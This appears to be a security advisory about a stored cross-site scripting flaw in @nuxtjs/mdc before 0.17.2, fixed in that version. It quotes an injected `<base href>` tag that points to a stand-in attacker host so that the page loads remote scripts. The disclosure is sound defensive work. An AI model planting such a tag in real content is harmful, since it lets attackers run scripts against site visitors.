mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.